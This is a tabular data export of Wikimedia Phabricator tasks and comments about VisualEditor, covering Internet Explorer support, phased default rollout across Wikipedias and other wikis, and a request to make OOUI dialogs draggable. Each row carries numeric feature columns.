243728,[DO NOT USE] VisualEditor: Internet Explorer compatibility (tracking) [superseded by #VisualEditor × #Browser-Support-Internet-Explorer],*** Bug 65688 has been marked as a duplicate of this bug. ***,,,1400868288,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nsv64fqtru36njpwa54p,task_subcomment,,True,c1,3,True,,,46,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 65688 has been marked as a duplicate of this bug. ***
52000,Enable VisualEditor by default for all users of all Wikimedia wikis,"One of our long-term objectives is for VisualEditor to be enabled by default on all (public) Wikimedia wikis; this is a tracker for that ambition.

As of August 2016, it isn't likely to be completed anytime soon, because some projects differ substantially from the Wikipedia use case for which VE has been primarily designed. For example, Wiktionary pages tend to be composed almost entirely of templates.",Lowest,10.0,1371860160,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-r5vx4pebxayyrkdqlagy,task_description,open,True,c1,2,True,False,,-2,,3.0,0.0,1.0,5.0,1.0,4.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,9.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,11.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,19.0,8.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.3164556962025316,0.8227848101265823,"One of our long-term objectives is for VisualEditor to be enabled by default on all (public) Wikimedia wikis; this is a tracker for that ambition.

As of August 2016, it isn't likely to be completed anytime soon, because some projects differ substantially from the Wikipedia use case for which VE has been primarily designed. For example, Wiktionary pages tend to be composed almost entirely of templates."
414453,Enable VisualEditor by default for all users of all Wikimedia wikis,"@Jdforrester-wmf, you are proposing to work on this task during the Wikimedia Hackathon in Lyon. Please consider associating this task or the specific related task(s) with #Wikimedia-Hackathon-2015.",,,1424384875,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,19.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,3.0,14.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.75,0.8333333333333334,"SCREEN_NAME-wmf, you are proposing to work on this task during the Wikimedia Hackathon in Lyon. Please consider associating this task or the specific related task(s) with #Wikimedia-Hackathon-2015."
238814,Enable VisualEditor by default for all users of all Wikimedia wikis,"Change 71259 merged by jenkins-bot:
Add ability to disable for anonymous users

https://gerrit.wikimedia.org/r/71259",,,1372564644,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"Change 71259 merged by jenkins-bot:
Add ability to disable for anonymous users

GERRIT_URL"
238806,Enable VisualEditor by default for all users of all Wikimedia wikis,"Change 71259 had a related patch set uploaded by Jforrester:
Add ability to disable for anonymous users

https://gerrit.wikimedia.org/r/71259",,,1372560612,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,1.0,"Change 71259 had a related patch set uploaded by Jforrester:
Add ability to disable for anonymous users

GERRIT_URL"
238798,Enable VisualEditor by default for all users of all Wikimedia wikis,OMG. It's bug number 50000.,,,1371861883,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-r5vx4pebxayyrkdqlagy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.875,0.875,OMG. It's bug number 50000.
51999,Enable VisualEditor by default for all users of all Wikipedias,Current deployments listed at [[https://www.mediawiki.org/wiki/VisualEditor/Rollouts|mw:VisualEditor/Rollouts]].,Lowest,10.0,1371860160,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-io6eogshz2s3ntb5ae7u,task_description,open,True,c1,2,True,False,,-2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,4.428571428571429,0.8571428571428571,Current deployments listed at [[URL
2333983,Enable VisualEditor by default for all users of all Wikipedias,"Volunteers, across experience levels, benefiting from the positive impact [Reference Edit Check](https://www.mediawiki.org/wiki/Edit_check) has been [proven to cause ](https://phabricator.wikimedia.org/T342930#9753996) relates to how easily newcomers can access VE. Thus, why I'm relating this ticket to T331946.",,,1715626643,,PHID-USER-7x5ai23ne5qampjf3g7r,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,True,,,567,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,9.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,11.0,7.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,2.0,4.386363636363637,0.8636363636363636,"Volunteers, across experience levels, benefiting from the positive impact [Reference Edit Check](URL has been [proven to cause ](URL relates to how easily newcomers can access VE. Thus, why I'm relating this ticket to T331946."
831719,Enable VisualEditor by default for all users of all Wikipedias,">>! In T51999#2735651, @Liuxinyu970226 wrote:
> What about Dutch, that's the only Phase 1 wiki that still haven't done?

Will create a task.",,,1490411970,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,True,,,194,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.8888888888888888,"QUOTE
QUOTE

Will create a task."
748040,Enable VisualEditor by default for all users of all Wikipedias,"What about Dutch, that's the only Phase 1 wiki that still haven't done?",,,1477095772,,PHID-USER-chrmcih5qjpx5buo7vx6,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,172,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.9411764705882353,"What about Dutch, that's the only Phase 1 wiki that still haven't done?"
238750,Enable VisualEditor by default for all users of all Wikipedias,"Change 102208 merged by jenkins-bot:
Enable VisualEditor by default on ""phase 4"" Wikipedias

https://gerrit.wikimedia.org/r/102208",,,1389635422,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.380952380952381,0.9047619047619048,"Change 102208 merged by jenkins-bot:
Enable VisualEditor by default on ""phase 4"" Wikipedias

GERRIT_URL"
238743,Enable VisualEditor by default for all users of all Wikipedias,"Change 102208 had a related patch set uploaded by Jforrester:
Enable VisualEditor by default on ""phase 4"" Wikipedias

https://gerrit.wikimedia.org/r/102208",,,1387306106,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9166666666666666,"Change 102208 had a related patch set uploaded by Jforrester:
Enable VisualEditor by default on ""phase 4"" Wikipedias

GERRIT_URL"
238736,Enable VisualEditor by default for all users of all Wikipedias,"Change 96473 merged by jenkins-bot:
Enable VisualEditor as default to ""phase 3"" Wikipedias

https://gerrit.wikimedia.org/r/96473",,,1386021517,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,14.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9523809523809523,"Change 96473 merged by jenkins-bot:
Enable VisualEditor as default to ""phase 3"" Wikipedias

GERRIT_URL"
238727,Enable VisualEditor by default for all users of all Wikipedias,"Change 96473 had a related patch set uploaded by Catrope:
Deploy VisualEditor as default to ""phase 3"" Wikipedias

https://gerrit.wikimedia.org/r/96473",,,1384948485,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,12.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9583333333333334,"Change 96473 had a related patch set uploaded by Catrope:
Deploy VisualEditor as default to ""phase 3"" Wikipedias

GERRIT_URL"
238720,Enable VisualEditor by default for all users of all Wikipedias,*** Bug 54866 has been marked as a duplicate of this bug. ***,,,1380835091,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-io6eogshz2s3ntb5ae7u,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54866 has been marked as a duplicate of this bug. ***
51969,OOUI: Dialogs should be repositionable/draggable,"###Problem
There are various workflows where a user wants to both interact with (or at least see) a page's content, and also interact with a potentially complicated form/process, which may have many controls/inputs.

Some VisualEditor examples:
 - Adding/editing categories (T51969#548266)
 - Adding/editing a template with many parameters
Some non-VE examples:
 - Rater dialog (T51969#2847958)
 - [[https://en.wikipedia.org/wiki/Wikipedia:Twinkle|Twinkle]] dialogs ([[https://github.com/azatoth/twinkle/issues/414]])

###Feature request
Dialogs that have no need to be modal (intended to interrupt the primary workflow, and requiring some action before you can get back to the primary workflow) should be draggable.
Gadget/script/other developers using OOUI should have a simple way to enable this feature, e.g. a config setting that can be set to `true` to allow dragging.

Some specific workflows may have viable alternatives to dialogs, e.g. {T52239}, but that doesn't solve the general problem for more complicated dialog-based workflows.

###Initial task description
Quoth requester: If I can't read the article, because the ""page settings"" box is large and un-draggable and hides all the article, how can I see what defaultsort or categories I want to add (especially as for defaultsort I probably want to copy and paste all or part of the article title).
",Lowest,10.0,1371833520,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-g55t2yyhma4clcxdjjey,task_description,open,True,c1,2,False,False,,-2,,2.6666666666666665,0.0,0.0,0.3333333333333333,0.6666666666666666,8.0,1.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,4.333333333333333,7.666666666666667,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,2.6666666666666665,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,19.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.333333333333333,1.6666666666666667,9.333333333333334,1.3333333333333333,3.3333333333333335,8.333333333333334,0.0,0.0,0.0,3.0,6.666666666666667,0.0,0.3333333333333333,0.0,1.6666666666666667,7.666666666666667,2.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,2.0,2.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,1.3333333333333333,3.9633699633699635,0.6886446886446888,"###Problem
There are various workflows where a user wants to both interact with (or at least see) a page's content, and also interact with a potentially complicated form/process, which may have many controls/inputs.

Some VisualEditor examples:
 - Adding/editing categories (T51969#548266)
 - Adding/editing a template with many parameters
Some non-VE examples:
 - Rater dialog (T51969#2847958)
 - [[URL dialogs ([[URL

###Feature request
Dialogs that have no need to be modal (intended to interrupt the primary workflow, and requiring some action before you can get back to the primary workflow) should be draggable.
Gadget/script/other developers using OOUI should have a simple way to enable this feature, e.g. a config setting that can be set to CODE to allow dragging.

Some specific workflows may have viable alternatives to dialogs, e.g. {T52239}, but that doesn't solve the general problem for more complicated dialog-based workflows.

###Initial task description
Quoth requester: If I can't read the article, because the ""page settings"" box is large and un-draggable and hides all the article, how can I see what defaultsort or categories I want to add (especially as for defaultsort I probably want to copy and paste all or part of the article title).
"
1609589,OOUI: Dialogs should be repositionable/draggable,"The previous comments don't explain who or what (task?) exactly this task is stalled on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle)). Hence resetting task status, as tasks should not be stalled (and then potentially forgotten) for six years for unclear reasons.

//(Smallprint, as general orientation for task management:
If you wanted to express that nobody is currently working on this task, then the assignee should be removed and/or priority could be lowered instead.
If work on this task is blocked by another task, then that other task should be added via {nav name=Edit Related Tasks... > Edit Subtasks}.
If this task is stalled on an upstream project, then the #upstream tag should be added.
If this task requires info from the task reporter, then there should be instructions which info is needed.
If this task needs retesting, then the #testme tag should be added.
If this task is out of scope and nobody should ever work on this, or nobody else managed to reproduce the situation described here, then it should have the ""Declined"" status.
If the task is valid but should not appear on some team's workboard, then the team project tag should be removed while the task has another active project tag.)//
",,,1604263339,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,382,,0.3333333333333333,0.0,0.0,4.0,1.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.0,2.6666666666666665,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,7.666666666666667,10.333333333333334,1.0,0.6666666666666666,3.6666666666666665,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,4.333333333333333,0.6666666666666666,0.6666666666666666,2.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,16.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,4.666666666666667,6.0,5.333333333333333,3.3333333333333335,2.6666666666666665,9.0,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,0.0,0.3333333333333333,0.0,1.0,10.333333333333334,1.3333333333333333,0.3333333333333333,1.0,0.0,1.0,0.0,1.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,4.018143986683312,0.6503953391593842,"The previous comments don't explain who or what (task?) exactly this task is stalled on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](URL Hence resetting task status, as tasks should not be stalled (and then potentially forgotten) for six years for unclear reasons.

//(Smallprint, as general orientation for task management:
If you wanted to express that nobody is currently working on this task, then the assignee should be removed and/or priority could be lowered instead.
If work on this task is blocked by another task, then that other task should be added via {nav name=Edit Related Tasks... > Edit Subtasks}.
If this task is stalled on an upstream project, then the #upstream tag should be added.
If this task requires info from the task reporter, then there should be instructions which info is needed.
If this task needs retesting, then the #testme tag should be added.
If this task is out of scope and nobody should ever work on this, or nobody else managed to reproduce the situation described here, then it should have the ""Declined"" status.
If the task is valid but should not appear on some team's workboard, then the team project tag should be removed while the task has another active project tag.)//
"
1393856,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#5669037, @John_Broughton wrote:
> (b) let's find specific solutions to specific user problems that don't require that approach.

Sure, but shouldn't they be discussed in more specific tasks? This task is for OOUI in general, which is used for more than just VisualEditor.",,,1573957456,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0.0,0.0,0.0,6.0,3.0,12.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,6.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.8529411764705883,0.8235294117647058,"QUOTE
QUOTE

Sure, but shouldn't they be discussed in more specific tasks? This task is for OOUI in general, which is used for more than just VisualEditor."
1393785,OOUI: Dialogs should be repositionable/draggable,"Regarding ""Your idea also doesn't seem to relate to dialogs where information is being input from multiple different places in the article"", I'm not proposing this for all situations. In fact, I'm primarily interested in getting some action on the problem of more easily adding categories to articles.

And yes, it's true that some categories won't be have related text in the article. For that, one option is to leave the current menu-driven process as is (there isn't anything wrong with having two ways to do the same thing). Another option, of course, is for the user to select some (irrelevant) text, then when the dialog box occurs, change that text to whatever he/she wants as a category. (The selected text wouldn't be locked in any way, just as text selected to create a link can be changed by the user, in the dialog box.)

Again, my larger points are (a) if a moveable dialog box is either difficult to implement or undesirable from a UI/UX viewpoint, then (b) let's find specific solutions to specific user problems that don't require that approach.",,,1573924342,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1.6666666666666667,0.3333333333333333,0.0,1.0,2.0,5.333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,3.3333333333333335,2.3333333333333335,0.0,0.0,0.3333333333333333,1.0,0.0,6.0,11.333333333333334,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,13.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,5.333333333333333,4.0,4.333333333333333,1.3333333333333333,1.3333333333333333,9.0,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,0.6666666666666666,0.0,3.0,11.333333333333334,1.3333333333333333,0.0,0.6666666666666666,0.0,3.0,0.0,1.3333333333333333,1.6666666666666667,0.0,1.6666666666666667,0.6666666666666666,0.0,1.0,3.834073820915926,0.7391205285942127,"Regarding ""Your idea also doesn't seem to relate to dialogs where information is being input from multiple different places in the article"", I'm not proposing this for all situations. In fact, I'm primarily interested in getting some action on the problem of more easily adding categories to articles.

And yes, it's true that some categories won't be have related text in the article. For that, one option is to leave the current menu-driven process as is (there isn't anything wrong with having two ways to do the same thing). Another option, of course, is for the user to select some (irrelevant) text, then when the dialog box occurs, change that text to whatever he/she wants as a category. (The selected text wouldn't be locked in any way, just as text selected to create a link can be changed by the user, in the dialog box.)

Again, my larger points are (a) if a moveable dialog box is either difficult to implement or undesirable from a UI/UX viewpoint, then (b) let's find specific solutions to specific user problems that don't require that approach."
1393774,OOUI: Dialogs should be repositionable/draggable,"I'm now totally unfamiliar with VE because I abandoned it years ago because I found it unusable. I simply wanted to be able to move the category input box away from being on top of the info I needed to categorise, which might have been a county name for a locality, or a footballer's birth decade and field position, etc. It seems, to a naive editor, a simple request.
